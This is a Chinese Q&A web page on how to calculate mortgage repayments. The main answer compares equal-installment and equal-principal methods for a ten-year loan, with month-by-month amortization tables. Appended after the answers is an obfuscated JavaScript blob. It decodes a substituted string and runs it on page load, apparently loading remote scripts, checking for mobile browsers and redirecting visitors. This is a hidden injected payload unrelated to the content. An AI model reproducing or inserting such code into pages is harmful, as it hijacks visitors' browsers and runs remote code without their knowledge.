关于按揭买房还款的详细计算

2025-04-04 01:20:17
推荐回答(3个)
回答1:

  楼主说得不够详细,这是你的第一套贷款吗,以家庭为单位!
  如果是第一套,你可以享受下浮利率!各个银行好像还有点不一样
  现在通行的是采用等额本息法,等本递减法
  1。等额本息法 农行
  按照最新的利率表来算:(以万元为单位)
  年限 月数 月利率 年利率 月还款额
  10 120 4.845 5.814 110.09
  这样你每月的还款额为110.09*10=1100.9元 累积还息32106.35元
  个人贷款计划表

  期次 累计还息
  1 484.5
  2 966.01
  3 1,444.52
  4 1,920.02
  5 2,392.49
  6 2,861.91
  7 3,328.27
  8 3,791.56
  9 4,251.76
  10 4,708.86
  11 5,162.84
  12 5,613.68
  13 6,061.37
  14 6,505.90
  15 6,947.25
  16 7,385.40
  17 7,820.34
  18 8,252.05
  19 8,680.52
  20 9,105.73
  21 9,527.67
  22 9,946.32
  23 10,361.67
  24 10,773.69
  25 11,182.38
  26 11,587.71
  27 11,989.67
  28 12,388.25
  29 12,783.42
  30 13,175.18
  31 13,563.50
  32 13,948.37
  33 14,329.77
  34 14,707.68
  35 15,082.09
  36 15,452.98
  37 15,820.33
  38 16,184.13
  39 16,544.36
  40 16,901.00
  41 17,254.03
  42 17,603.44
  43 17,949.21
  44 18,291.32
  45 18,629.75
  46 18,964.49
  47 19,295.52
  48 19,622.82
  49 19,946.37
  50 20,266.15
  51 20,582.15
  52 20,894.35
  53 21,202.72
  54 21,507.26
  55 21,807.94
  56 22,104.74
  57 22,397.64
  58 22,686.63
  59 22,971.69
  60 23,252.79
  61 23,529.92
  62 23,803.06
  63 24,072.19
  64 24,337.29
  65 24,598.34
  66 24,855.32
  67 25,108.21
  68 25,356.99
  69 25,601.65
  70 25,842.16
  71 26,078.50
  72 26,310.65
  73 26,538.59
  74 26,762.30
  75 26,981.76
  76 27,196.95
  77 27,407.85
  78 27,614.44
  79 27,816.69
  80 28,014.59
  81 28,208.12
  82 28,397.25
  83 28,581.96
  84 28,762.23
  85 28,938.04
  86 29,109.37
  87 29,276.20
  88 29,438.50
  89 29,596.25
  90 29,749.43
  91 29,898.02
  92 30,042.00
  93 30,181.34
  94 30,316.02
  95 30,446.02
  96 30,571.32
  97 30,691.89
  98 30,807.71
  99 30,918.76
  100 31,025.01
  101 31,126.44
  102 31,223.03
  103 31,314.76
  104 31,401.60
  105 31,483.52
  106 31,560.51
  107 31,632.54
  108 31,699.58
  109 31,761.61
  110 31,818.61
  111 31,870.55
  112 31,917.41
  113 31,959.16
  114 31,995.78
  115 32,027.24
  116 32,053.52
  117 32,074.60
  118 32,090.45
  119 32,101.04
  120 32,106.35

  2.等本递减
  每月固定还本金833.33元
  累积还息29312.40元
  个人贷款计划表

  期次 本期还款额 累计还息
  1 1,317.83 484.5
  2 1,313.79 964.96
  3 1,309.76 1,441.39
  4 1,305.72 1,913.78
  5 1,301.68 2,382.13
  6 1,297.64 2,846.44
  7 1,293.61 3,306.72
  8 1,289.57 3,762.96
  9 1,285.53 4,215.16
  10 1,281.49 4,663.32
  11 1,277.46 5,107.45
  12 1,273.42 5,547.54
  13 1,269.38 5,983.59
  14 1,265.34 6,415.60
  15 1,261.31 6,843.58
  16 1,257.27 7,267.52
  17 1,253.23 7,687.42
  18 1,249.19 8,103.28
  19 1,245.16 8,515.11
  20 1,241.12 8,922.90
  21 1,237.08 9,326.65
  22 1,233.04 9,726.36
  23 1,229.01 10,122.04
  24 1,224.97 10,513.68
  25 1,220.93 10,901.28
  26 1,216.89 11,284.84
  27 1,212.86 11,664.37
  28 1,208.82 12,039.86
  29 1,204.78 12,411.31
  30 1,200.74 12,778.72
  31 1,196.71 13,142.10
  32 1,192.67 13,501.44
  33 1,188.63 13,856.74
  34 1,184.59 14,208.00
  35 1,180.56 14,555.23
  36 1,176.52 14,898.42
  37 1,172.48 15,237.57
  38 1,168.44 15,572.68
  39 1,164.41 15,903.76
  40 1,160.37 16,230.80
  41 1,156.33 16,553.80
  42 1,152.29 16,872.76
  43 1,148.26 17,187.69
  44 1,144.22 17,498.58
  45 1,140.18 17,805.43
  46 1,136.14 18,108.24
  47 1,132.11 18,407.02
  48 1,128.07 18,701.76
  49 1,124.03 18,992.46
  50 1,119.99 19,279.12
  51 1,115.96 19,561.75
  52 1,111.92 19,840.34
  53 1,107.88 20,114.89
  54 1,103.84 20,385.40
  55 1,099.81 20,651.88
  56 1,095.77 20,914.32
  57 1,091.73 21,172.72
  58 1,087.69 21,427.08
  59 1,083.66 21,677.41
  60 1,079.62 21,923.70
  61 1,075.58 22,165.95
  62 1,071.54 22,404.16
  63 1,067.51 22,638.34
  64 1,063.47 22,868.48
  65 1,059.43 23,094.58
  66 1,055.39 23,316.64
  67 1,051.36 23,534.67
  68 1,047.32 23,748.66
  69 1,043.28 23,958.61
  70 1,039.24 24,164.52
  71 1,035.21 24,366.40
  72 1,031.17 24,564.24
  73 1,027.13 24,758.04
  74 1,023.09 24,947.80
  75 1,019.06 25,133.53
  76 1,015.02 25,315.22
  77 1,010.98 25,492.87
  78 1,006.94 25,666.48
  79 1,002.91 25,836.06
  80 998.87 26,001.60
  81 994.83 26,163.10
  82 990.79 26,320.56
  83 986.76 26,473.99
  84 982.72 26,623.38
  85 978.68 26,768.73
  86 974.64 26,910.04
  87 970.61 27,047.32
  88 966.57 27,180.56
  89 962.53 27,309.76
  90 958.49 27,434.92
  91 954.46 27,556.05
  92 950.42 27,673.14
  93 946.38 27,786.19
  94 942.34 27,895.20
  95 938.31 28,000.18
  96 934.27 28,101.12
  97 930.23 28,198.02
  98 926.19 28,290.88
  99 922.16 28,379.71
  100 918.12 28,464.50
  101 914.08 28,545.25
  102 910.04 28,621.96
  103 906.01 28,694.64
  104 901.97 28,763.28
  105 897.93 28,827.88
  106 893.89 28,888.44
  107 889.86 28,944.97
  108 885.82 28,997.46
  109 881.78 29,045.91
  110 877.74 29,090.32
  111 873.71 29,130.70
  112 869.67 29,167.04
  113 865.63 29,199.34
  114 861.59 29,227.60
  115 857.56 29,251.83
  116 853.52 29,272.02
  117 849.48 29,288.17
  118 845.44 29,300.28
  119 841.41 29,308.36
  120 837.77 29,312.40

  相比较,等本递减利息低,但开始的还款压力大!

回答2:

楼上的狠

回答3:

楼上的回答很详尽

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();